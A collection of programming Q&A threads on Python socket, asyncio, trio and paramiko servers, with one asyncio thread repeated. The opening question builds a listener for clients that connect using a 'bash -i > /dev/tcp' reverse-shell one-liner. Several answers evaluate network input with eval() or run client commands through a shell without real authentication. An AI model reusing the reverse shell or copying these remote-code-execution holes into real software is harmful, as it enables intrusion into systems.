I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.
I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.
Try to do that with socket.io and Threading, so if the socket got a ON_CONNECT event you can just push the information in a list and print it to the console.
as an excuse to experiment with the trio async library I ported your code to it
start by defining a simple class for client connections and the code to keep track of them:
from sys import stderr
from itertools import count
class Client:
def __init__(self, stream):
self.stream = stream
async def run(self):
lines = LineReader(self.stream)
while True:
line = (await lines.readline()).decode('ascii')
if not line or line.strip().casefold() in {'quit', 'exit'}:
await self.stream.send_all(b'bye!\r\n')
break
resp = f'got {line!r}'
await self.stream.send_all(resp.encode('ascii') + b'\r\n')
CLIENT_COUNTER = count()
CLIENTS = {}
async def handle_client(stream):
client_id = next(CLIENT_COUNTER)
client = Client(stream)
async with stream:
CLIENTS[client_id] = client
try:
await client.run()
except Exception as err:
print('client failed', err, file=stderr)
finally:
del CLIENTS[client_id]
LineReader comes from here: https://stackoverflow.com/a/53576829/1358308
next we can define the server stdin processing:
async def handle_local(nursery):
while True:
try:
command = await async_input('server > ')
except EOFError:
command = 'exit'
if command == 'exit':
nursery.cancel_scope.cancel()
elif command == 'list':
for id, client in CLIENTS.items():
print(id, client.stream.socket.getpeername())
else:
print(f'unknown command {command!r}')
check out the docs for info about nurseries
this uses a utility function to wrap input up into an async function.
import trio
async def async_input(prompt=None):
return await trio.run_sync_in_worker_thread(
input, prompt, cancellable=True)
then we define code to tie all the pieces together:
SERVE_HOST = 'localhost'
SERVE_PORT = 1344
async def async_main():
async with trio.open_nursery() as nursery:
nursery.start_soon(handle_local, nursery)
await trio.serve_tcp(
handle_client,
port=SERVE_PORT, host=SERVE_HOST,
handler_nursery=nursery)
trio.run(async_main)
some more links/references (by trio's author):
tutorial echo server
motivation behind the trio library
Related
I am trying to make a socket server that's able to have multiple clients connected using the asyncio sockets and is able to easily switch between which client it communicates while still having all the clients connected. I thought there would be some type of FD of the clients like there is in sockets, but I looked through the docs and did not find anything, or I missed it.
Here is my server code:
import socket
import asyncio
host = "localhost"
port = 9998
list_of_auths = ['desktop-llpeu0p\\tomiss', 'desktop-llpeu0p\\tomisss',
'desktop-llpeu0p\\tomissss', 'desktop-llpeu0p\\tomisssss']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('socket initiated.')
confirmed = 'CONFIRMED'
deny = 'denied'
#(so i dont forget) to get recv in async do: var = (await reader.read(4096)).decode('utf-8') if -1 then it will read all
#(so i dont forget) to write sendall do: writer.write(var.encode('utf-8')) should be used with await writer.drain()
async def handle_client(reader, writer):
idrecv = (await reader.read(255)).decode('utf-8')
if idrecv in list_of_auths:
writer.write(confirmed.encode('utf-8'))
else:
writer.write(deny.encode('utf-8'))
writer.close()
request = None
while request != 'quit':
print("second checkpoint")
writer.close()
async def run_server():
print("first checkpoint")
server = await asyncio.start_server(handle_client, host, port)
async with server:
await server.serve_forever()
asyncio.run(run_server())
This code allows multiple clients to connect at once; However, it only lets me communicate with the last one that connected.
I would suggest to implement it like so:
class SocketHandler(asyncio.Protocol):
def __init__(self):
asyncio.Protocol.__init__(self)
self.transport = None
self.peername = None
# your other code
def connection_made(self, transport):
""" incoming connection """
global ALL_CONNECTIONS
self.transport = transport
self.peername = transport.get_extra_info('peername')
ALL_CONNECTIONS.append(self)
# your other code
def connection_lost(self, exception):
self.close()
# your other code
def data_received(self, data):
# your code handling incoming data
def close(self):
try:
self.transport.close()
except AttributeError:
pass
# global list to store all connections
ALL_CONNECTIONS = []
def send_to_all(message):
""" sending a message to all connected clients """
global ALL_CONNECTIONS
for sh in ALL_CONNECTIONS:
# here you can also check sh.peername to know which client it is
if sh.transport is not None:
sh.transport.write(message)
port = 5060
loop = asyncio.get_event_loop()
coro = loop.create_server(SocketHandler, '', port)
server = loop.run_until_complete(coro)
loop.run_forever()
This way, each connection to the server is represented by an instance of SocketHandler. Whenever you process some data inside this instance, you know which client connection it is.
I would like to re-implement my code using asyncio coroutines instead of multi-threading.
server.py
def handle_client(client):
request = None
while request != 'quit':
request = client.recv(255).decode('utf8')
response = cmd.run(request)
client.send(response.encode('utf8'))
client.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
try:
while True:
client, _ = server.accept()
threading.Thread(target=handle_client, args=(client,)).start()
except KeyboardInterrupt:
server.close()
client.py
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(('localhost', 15555))
request = None
try:
while request != 'quit':
request = input('>> ')
if request:
server.send(request.encode('utf8'))
response = server.recv(255).decode('utf8')
print(response)
except KeyboardInterrupt:
server.close()
I know there are some appropriate asynchronous network librairies to do that. But I just want to only use asyncio core library on this case in order to have a better understanding of it.
It would have been so nice to only add async keyword before handle client definition... Here a piece of code which seems to work, but I'm still confused about the implementation.
asyncio_server.py
def handle_client(client):
request = None
while request != 'quit':
request = client.recv(255).decode('utf8')
response = cmd.run(request)
client.send(response.encode('utf8'))
client.close()
def run_server(server):
client, _ = server.accept()
handle_client(client)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
loop = asyncio.get_event_loop()
asyncio.async(run_server(server))
try:
loop.run_forever()
except KeyboardInterrupt:
server.close()
How adapt this in the best way and using async await keywords.
The closest literal translation of the threading code would create the socket as before, make it non-blocking, and use asyncio low-level socket operations to implement the server. Here is an example, sticking to the more relevant server part (the client is single-threaded and likely fine as-is):
import asyncio, socket
async def handle_client(client):
loop = asyncio.get_event_loop()
request = None
while request != 'quit':
request = (await loop.sock_recv(client, 255)).decode('utf8')
response = str(eval(request)) + '\n'
await loop.sock_sendall(client, response.encode('utf8'))
client.close()
async def run_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
server.setblocking(False)
loop = asyncio.get_event_loop()
while True:
client, _ = await loop.sock_accept(server)
loop.create_task(handle_client(client))
asyncio.run(run_server())
The above works, but is not the intended way to use asyncio. It is very low-level and therefore error-prone, requiring you to remember to set the appropriate flags on the socket. Also, there is no buffering, so something as simple as reading a line from the client becomes a tiresome chore. This API level is really only intended for implementors of alternative event loops, which would provide their implementation of sock_recv, sock_sendall, etc.
Asyncio's public API provides two abstraction layers intended for consumption: the older transport/protocol layer modeled after Twisted, and the newer streams layer. In new code, you almost certainly want to use the streams API, i.e. call asyncio.start_server and avoid raw sockets. That significantly reduces the line count:
import asyncio, socket
async def handle_client(reader, writer):
request = None
while request != 'quit':
request = (await reader.read(255)).decode('utf8')
response = str(eval(request)) + '\n'
writer.write(response.encode('utf8'))
await writer.drain()
writer.close()
async def run_server():
server = await asyncio.start_server(handle_client, 'localhost', 15555)
async with server:
await server.serve_forever()
asyncio.run(run_server())
I have read the answers and comments above, trying to figure out how to use the asyncio lib for sockets.
As it often happens with Python, the official documentation along with the examples is the best source of useful information.
I got understanding of Transports and Protocols (low-level API), and Streams (high-level API) from the examples presented in the end of the support article.
For example, TCP Echo Server:
import asyncio
class EchoServerProtocol(asyncio.Protocol):
def connection_made(self, transport):
peername = transport.get_extra_info('peername')
print('Connection from {}'.format(peername))
self.transport = transport
def data_received(self, data):
message = data.decode()
print('Data received: {!r}'.format(message))
print('Send: {!r}'.format(message))
self.transport.write(data)
print('Close the client socket')
self.transport.close()
async def main():
# Get a reference to the event loop as we plan to use
# low-level APIs.
loop = asyncio.get_running_loop()
server = await loop.create_server(
lambda: EchoServerProtocol(),
'127.0.0.1', 8888)
async with server:
await server.serve_forever()
asyncio.run(main())
and TCP Echo Client:
import asyncio
class EchoClientProtocol(asyncio.Protocol):
def __init__(self, message, on_con_lost):
self.message = message
self.on_con_lost = on_con_lost
def connection_made(self, transport):
transport.write(self.message.encode())
print('Data sent: {!r}'.format(self.message))
def data_received(self, data):
print('Data received: {!r}'.format(data.decode()))
def connection_lost(self, exc):
print('The server closed the connection')
self.on_con_lost.set_result(True)
async def main():
# Get a reference to the event loop as we plan to use
# low-level APIs.
loop = asyncio.get_running_loop()
on_con_lost = loop.create_future()
message = 'Hello World!'
transport, protocol = await loop.create_connection(
lambda: EchoClientProtocol(message, on_con_lost),
'127.0.0.1', 8888)
# Wait until the protocol signals that the connection
# is lost and close the transport.
try:
await on_con_lost
finally:
transport.close()
asyncio.run(main())
Hope it help someone searching for simple explanation of asyncio.
I'm trying to write an SSH server and everything is fine but the problem seems that I cant make client to execute commands on the server as normal and can't find correct way to do it since there is no mention of it in the documentation and can't see a demo example of how to make server to accept connections so I'm completely lost in this area. code is:
#!/bin/python3
import paramiko
import socket
class Ctx(paramiko.server.ServerInterface):
def get_allowed_auths(self, username): return "password,publickey"
def check_auth_publickey(self, key): return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, channelID): return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel): return True
def check_channel_pty_request(self, c, t, w, h, p, ph, m): return True
def get_banner(self): return ("This is MY SSH Server\n\r", "EN")
def check_channel_exec_request(self, channel, command):
print(command) # Print command
self.event.set() # I dont know why this is used.
return True # return True to accept command exec request
def check_auth_password(self, username, password):
if password == "1999": return paramiko.AUTH_SUCCESSFUL
else: return paramiko.AUTH_FAILED
paramiko.util.log_to_file("demo_server.log") # setup log file
host_key = paramiko.RSAKey(filename="./rsa") # setup rsa key file that will be used during authnitication
ctx = Ctx() # create ServerInterface context object
sock = socket.socket() # Create socket object
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1", 5555)) # bind socket to specific Port
sock.listen(100) # Listen for TCP connections
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listeing for SSH connections ***************** ")
server = paramiko.Transport(client)
server.add_server_key(host_key) # Setup key
server.start_server(server=ctx) # SSH start_server
channel = server.accept(30) # Accept Auth requests
if channel is None:
print("[+] ***************** No Auth request Was made. ***************** ")
exit(1)
channel.send("[+]***************** Welcome ***************** \n\r")
while True: # This is supposed to be used to listen to commands
channel.event.wait(5) # but I'm not sure what it does actually
As you can see from the output of your print statement in check_channel_exec_request, you are receiving a command name. You just need to execute the command and send the output to the client. One implementation of that might look like:
def check_channel_exec_request(self, channel, command):
try:
res = subprocess.run(command, shell=True, stdout=subprocess.PIPE)
channel.send(res.stdout)
channel.send_exit_status(res.returncode)
except Exception as err:
print('exception: {}'.format(err))
channel.send('An error occurred: {}\r\n'.format(err))
channel.send_exit_status(255)
finally:
self.event.set()
return True
This uses subprocess.run(...) to execute the command and then sends
the output to the client. There are several limitations to this
implementation...
It's not interactive (the output isn't returned to the client until
after the command is complete).
It doesn't handle command output on stderr
...but hopefully it's enough to get you started.
Another problem with your code is with your treatment of
client.event. This is a Python Event object, used for signaling between threads. When you write:
channel.event.wait(5)
You are saying "wait up to 5 seconds for the Event to be set". An
Event becomes set by something calling event.set(), which you can
see we are doing in check_channel_exec_request.
The way you're using this doesn't make sense, by writing:
while true:
channel.event.wait(5)
You have an infinite loop. You want something that will wait for the
command to execute and then close the channel, so maybe something
like:
channel.event.wait(30)
channel.close()
This means "wait up to 30 seconds for the command to complete, and
even if it doesn't, close the channel".
With these two changes, your code will accept a single command and
exit. If you want the server to keep running so that you can connect
to it multiple times, you will need to implement some sort of loop in
the main section of your code.
Here's the code with all the changes I suggested:
#!/bin/python3
import paramiko
import socket
import subprocess
import time
class Ctx(paramiko.server.ServerInterface):
def get_allowed_auths(self, username):
return "password,publickey"
def check_auth_publickey(self, key):
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, channelID):
return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel):
return True
def check_channel_pty_request(self, c, t, w, h, p, ph, m):
return True
def get_banner(self):
return ("This is MY SSH Server\n\r", "EN")
def check_channel_exec_request(self, channel, command):
try:
res = subprocess.run(command, shell=True, stdout=subprocess.PIPE)
channel.send(res.stdout)
channel.send_exit_status(res.returncode)
except Exception as err:
print('exception: {}'.format(err))
channel.send('An error occurred: {}\r\n'.format(err))
channel.send_exit_status(255)
finally:
self.event.set()
return True
def check_auth_password(self, username, password):
if password == "1999": return paramiko.AUTH_SUCCESSFUL
else: return paramiko.AUTH_FAILED
paramiko.util.log_to_file("demo_server.log") # setup log file
host_key = paramiko.RSAKey(
filename="./test_rsa.key"
) # setup rsa key file that will be used during authnitication
ctx = Ctx() # create ServerInterface context object
sock = socket.socket() # Create socket object
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1", 5555)) # bind socket to specific Port
sock.listen(100) # Listen for TCP connections
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listening for SSH connections ***************** ")
server = paramiko.Transport(client)
server.add_server_key(host_key) # Setup key
server.start_server(server=ctx) # SSH start_server
channel = server.accept(30) # Accept Auth requests
if channel is None:
print("[+] ***************** No Auth request Was made. ***************** ")
exit(1)
channel.send("[+]***************** Welcome ***************** \n\r")
# wait for command execution to complete (or timeout)
channel.event.wait(30) # but I'm not sure what it does actually
channel.close()
Update 1
Just to be clear, this doesn't get you an interactive session. This lets you run a command like this:
$ ssh -p 5555 localhost date
This is MY SSH Server
lars#localhost's password:
[+]***************** Welcome *****************
Sun Aug 15 09:35:53 AM EDT 2021
Connection to localhost closed by remote host.
If you want to enable an interactive session, check_channel_exec_request is not what you want.
does this mean that I have to open a new channel for each command, Is this is how it's supposed to be done with SSH or I can just use the wait in loop so that only one channel for all upcoming commands.
Using this model, with check_channel_exec_request, you would need a new connection for each command. The main section of your code would look like:
while True:
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listening for SSH connections ***************** ")
server = paramiko.Transport(client)
[...]
This isn't the only way of handling things, of course, and if you look
around you can find a number of examples of Paramiko-based services
that might help out. For example, ShuSSH shows a non-trivial Paramiko server implementation.
I know you already did an "early acceptance" of an answer, but you might take a look at the following, which is based on this answer on SO that has been modified as follows:
Uses threading to support concurrent SSH requests.
Recognizes an "exit" command to terminate the program since the code to handle ctrl-C for termination is less than ideal. Set constant SUPPORT_EXIT = False to remove this support.
The program just currently logs the command and echoes it back to the user.
Example of use:
ssh localhost -p 5555 some-command
The code:
#!/usr/bin/env python
import logging
import socket
import sys
import threading
from queue import Queue
import paramiko
logging.basicConfig()
paramiko.util.log_to_file('demo_server.log', level='INFO')
logger = paramiko.util.get_logger("paramiko")
host_key = paramiko.RSAKey(filename='./rsa')
SUPPORT_EXIT = True
# input queue of requests:
in_q = Queue()
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if password == '9999':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return 'publickey,password'
def check_channel_exec_request(self, channel, command):
# This is the command we need to parse
# Here we just log it and echo it back to the user:
command = command.decode() # convert to string from bytes:
logger.info('Command = %s', command)
channel.send(command + '\n')
if SUPPORT_EXIT and command == 'exit':
# Place None in in_q to signify time to exit:
in_q.put(None)
self.event.set()
return True
def run_server(client):
t = paramiko.Transport(client)
t.set_gss_host(socket.getfqdn(""))
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# Wait 30 seconds for a command
server.event.wait(30)
t.close()
def accept(sock):
while True:
try:
client, _ = sock.accept()
except Exception as exc:
logger.error(exc)
else:
in_q.put(client)
def listener():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 5555))
sock.listen(100)
threading.Thread(target=accept, args=(sock,), daemon=True).start()
while True:
try:
client = in_q.get()
if SUPPORT_EXIT and client is None: # exit command issued
break
threading.Thread(target=run_server, args=(client,), daemon=True).start()
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
listener()
My previous answer is fine for executing a single command. This new version supports the following variations:
ssh ip-address -p 5555 -T - Creates an interactive session. For now each input line is just echoed back and logged until 'quit\n' is entered.
ssh ip-address -p 5555 some-command - Executes the single command some-command, but for now that consists of just echoing back the command and logging it.
ssh ip-address -p 5555 exit - shuts down the server if SUPPORT_EXIT = True is set in the source.
#!/usr/bin/env python
import logging
import socket
import sys
import threading
from queue import Queue
import paramiko
logging.basicConfig()
paramiko.util.log_to_file('demo_server.log', level='INFO')
logger = paramiko.util.get_logger("paramiko")
host_key = paramiko.RSAKey(filename='./rsa')
SUPPORT_EXIT = True
# input queue of requests:
in_q = Queue()
def my_processor(stdin, stdout, event):
stdout.write('This is MY SSH Server:\n\n')
for command in stdin:
if command == 'quit\n':
break
# Just log the command and send it back:
logger.info('Command = %s', command)
stdout.write(command)
# signal termination
event.set()
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if password == '9999':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return 'publickey,password'
def check_channel_exec_request(self, channel, command):
# This is the command we need to parse
command = command.decode() # convert to string from bytes:
if SUPPORT_EXIT and command == 'exit':
# Place None in in_q to signify time to exit:
in_q.put(None)
# We just log it and echo it back to the user:
logger.info('Command = %s', command)
channel.send(command + '\n')
self.event.set() # Command execution complete
# Show command successfully "wired up" to stdin, stdout and stderr:
# Return False if invalid command:
return True
def check_channel_shell_request(self, channel):
""" No command specified, interactive session implied """
stdout = channel.makefile('w')
stdin = channel.makefile('r')
threading.Thread(target=my_processor, args=(stdin, stdout, self.event), daemon=True).start()
# Show command successfully "wired up" to stdin, stdout and stderr:
return True
def run_server(client):
t = paramiko.Transport(client)
t.set_gss_host(socket.getfqdn(""))
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# wait for termination:
server.event.wait()
t.close()
def accept(sock):
while True:
try:
client, _ = sock.accept()
except Exception as exc:
logger.error(exc)
else:
in_q.put(client)
def listener():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 5555))
sock.listen(100)
threading.Thread(target=accept, args=(sock,), daemon=True).start()
while True:
try:
client = in_q.get()
if SUPPORT_EXIT and client is None: # exit command issued
break
threading.Thread(target=run_server, args=(client,), daemon=True).start()
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
listener()
I would like to re-implement my code using asyncio coroutines instead of multi-threading.
server.py
def handle_client(client):
request = None
while request != 'quit':
request = client.recv(255).decode('utf8')
response = cmd.run(request)
client.send(response.encode('utf8'))
client.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
try:
while True:
client, _ = server.accept()
threading.Thread(target=handle_client, args=(client,)).start()
except KeyboardInterrupt:
server.close()
client.py
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(('localhost', 15555))
request = None
try:
while request != 'quit':
request = input('>> ')
if request:
server.send(request.encode('utf8'))
response = server.recv(255).decode('utf8')
print(response)
except KeyboardInterrupt:
server.close()
I know there are some appropriate asynchronous network librairies to do that. But I just want to only use asyncio core library on this case in order to have a better understanding of it.
It would have been so nice to only add async keyword before handle client definition... Here a piece of code which seems to work, but I'm still confused about the implementation.
asyncio_server.py
def handle_client(client):
request = None
while request != 'quit':
request = client.recv(255).decode('utf8')
response = cmd.run(request)
client.send(response.encode('utf8'))
client.close()
def run_server(server):
client, _ = server.accept()
handle_client(client)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
loop = asyncio.get_event_loop()
asyncio.async(run_server(server))
try:
loop.run_forever()
except KeyboardInterrupt:
server.close()
How adapt this in the best way and using async await keywords.
The closest literal translation of the threading code would create the socket as before, make it non-blocking, and use asyncio low-level socket operations to implement the server. Here is an example, sticking to the more relevant server part (the client is single-threaded and likely fine as-is):
import asyncio, socket
async def handle_client(client):
loop = asyncio.get_event_loop()
request = None
while request != 'quit':
request = (await loop.sock_recv(client, 255)).decode('utf8')
response = str(eval(request)) + '\n'
await loop.sock_sendall(client, response.encode('utf8'))
client.close()
async def run_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 15555))
server.listen(8)
server.setblocking(False)
loop = asyncio.get_event_loop()
while True:
client, _ = await loop.sock_accept(server)
loop.create_task(handle_client(client))
asyncio.run(run_server())
The above works, but is not the intended way to use asyncio. It is very low-level and therefore error-prone, requiring you to remember to set the appropriate flags on the socket. Also, there is no buffering, so something as simple as reading a line from the client becomes a tiresome chore. This API level is really only intended for implementors of alternative event loops, which would provide their implementation of sock_recv, sock_sendall, etc.
Asyncio's public API provides two abstraction layers intended for consumption: the older transport/protocol layer modeled after Twisted, and the newer streams layer. In new code, you almost certainly want to use the streams API, i.e. call asyncio.start_server and avoid raw sockets. That significantly reduces the line count:
import asyncio, socket
async def handle_client(reader, writer):
request = None
while request != 'quit':
request = (await reader.read(255)).decode('utf8')
response = str(eval(request)) + '\n'
writer.write(response.encode('utf8'))
await writer.drain()
writer.close()
async def run_server():
server = await asyncio.start_server(handle_client, 'localhost', 15555)
async with server:
await server.serve_forever()
asyncio.run(run_server())
I have read the answers and comments above, trying to figure out how to use the asyncio lib for sockets.
As it often happens with Python, the official documentation along with the examples is the best source of useful information.
I got understanding of Transports and Protocols (low-level API), and Streams (high-level API) from the examples presented in the end of the support article.
For example, TCP Echo Server:
import asyncio
class EchoServerProtocol(asyncio.Protocol):
def connection_made(self, transport):
peername = transport.get_extra_info('peername')
print('Connection from {}'.format(peername))
self.transport = transport
def data_received(self, data):
message = data.decode()
print('Data received: {!r}'.format(message))
print('Send: {!r}'.format(message))
self.transport.write(data)
print('Close the client socket')
self.transport.close()
async def main():
# Get a reference to the event loop as we plan to use
# low-level APIs.
loop = asyncio.get_running_loop()
server = await loop.create_server(
lambda: EchoServerProtocol(),
'127.0.0.1', 8888)
async with server:
await server.serve_forever()
asyncio.run(main())
and TCP Echo Client:
import asyncio
class EchoClientProtocol(asyncio.Protocol):
def __init__(self, message, on_con_lost):
self.message = message
self.on_con_lost = on_con_lost
def connection_made(self, transport):
transport.write(self.message.encode())
print('Data sent: {!r}'.format(self.message))
def data_received(self, data):
print('Data received: {!r}'.format(data.decode()))
def connection_lost(self, exc):
print('The server closed the connection')
self.on_con_lost.set_result(True)
async def main():
# Get a reference to the event loop as we plan to use
# low-level APIs.
loop = asyncio.get_running_loop()
on_con_lost = loop.create_future()
message = 'Hello World!'
transport, protocol = await loop.create_connection(
lambda: EchoClientProtocol(message, on_con_lost),
'127.0.0.1', 8888)
# Wait until the protocol signals that the connection
# is lost and close the transport.
try:
await on_con_lost
finally:
transport.close()
asyncio.run(main())
Hope it help someone searching for simple explanation of asyncio.
I want to send multi messages using socket module without waiting the respond from the client or server. However the codes that are below can not do this. What are your suggestions in order to do that? Thanks in advance.
Here are the codes:
server.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 12345))
s.listen(1)
print(s)
c, addr = s.accept()
print('{} connected.'.format(addr))
while True:
respond = input("Server: ").encode("utf-8")
if respond == b"q":
exit()
else:
c.sendall(bytes(respond))
data = str(c.recv(1024))[1:]
if data:
print("Client: {}".format(data))
client.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", 12345))
while True:
respond = input("Client: ").encode("utf-8")
if respond == b"q":
exit()
else:
s.sendall(bytes(respond))
data = str(s.recv(1024))[1:]
if data:
print("Server: {}".format(data))
Ok, so for what you want to achieve, you need to change the approach completely and use asyncio equivalents of socket methods as well as replacement for bare standard input handling.
The following code works on Python >= 3.5 and requires aioconsole Python package which can be installed with pip install aioconsole.
server.py
import asyncio
import aioconsole
class StreamWrapper(object):
"""This class is used to make socket stream created by server available for send_messgaes() function"""
def __init__(self):
self.reader = None
self.writer = None
async def send_messages(stream_wrapper, stdin):
# Wait asynchronously until server part initializes socket stream
while stream_wrapper.writer is None:
await asyncio.sleep(0.1)
writer = stream_wrapper.writer
# Asynchronusly read from standard input
async for message in stdin:
if message.decode().strip() == "q":
writer.close()
exit()
else:
# Send message through the socket
writer.write(message)
def receive_messages_wrapper(stream_wrapper, stdout):
"""Wrapper function which adds stream_wrapper and stdout to the scope of receive_messages()"""
async def receive_messages(reader, writer):
# Copy socket stream reference to stream wrapper
stream_wrapper.reader = reader
stream_wrapper.writer = writer
# Asynchronusly read messages from the socket
async for message in reader:
stdout.write('\nClient: {}'.format(message.decode()))
stdout.write("Server: ")
# Wrapper returns receive_messages function with enhanced scope - receive_messages() can "see" stream_wrapper and stdout
return receive_messages
async def run_server(loop):
"""Initialize stdin and stdout asynchronous streams and start the server"""
stdin, stdout = await aioconsole.get_standard_streams()
stream_wrapper = StreamWrapper()
# Asynchronously execute send_messages and start_server()
await asyncio.gather(
send_messages(stream_wrapper, stdin),
asyncio.start_server(receive_messages_wrapper(stream_wrapper, stdout), '127.0.0.1', 8888, loop=loop)
)
# Run the server on the event loop
loop = asyncio.get_event_loop()
loop.run_until_complete(run_server(loop))
loop.close()
client.py
import asyncio
import aioconsole
async def send_messages(writer, stdin):
# Asynchronusly read from standard input
async for message in stdin:
if message.decode().strip() == "q":
writer.close()
exit()
else:
# Send message through the socket
writer.write(message)
async def receive_messages(reader, stdout):
# Asynchronusly read messages from the socket
async for message in reader:
stdout.write('\nServer: {}'.format(message.decode()))
stdout.write("Client: ")
async def run_client(loop):
"""Initialize stdin and stdout asynchronous streams and open the client connection, then start exchanging messages"""
stdin, stdout = await aioconsole.get_standard_streams()
reader, writer = await asyncio.open_connection('127.0.0.1', 8888)
stdout.write("Client: ")
# Asynchronously execute send_messages and receive_messages()
await asyncio.gather(
send_messages(writer, stdin),
receive_messages(reader, stdout)
)
# Run the client on the event loop
loop = asyncio.get_event_loop()
loop.run_until_complete(run_client(loop))
loop.close()
This might seem complicated if you never used asyncio before but it does exactly what you want. You can spam multiple messages from any end (client or server) and the other end will receive it and print, while waiting for user input. I've provided comments but if you want to fully understand it, you should get familiar with asyncio documentation.
The other possible approaches involve using threads or multiprocessing. I wouldn't say they are easier than asyncio.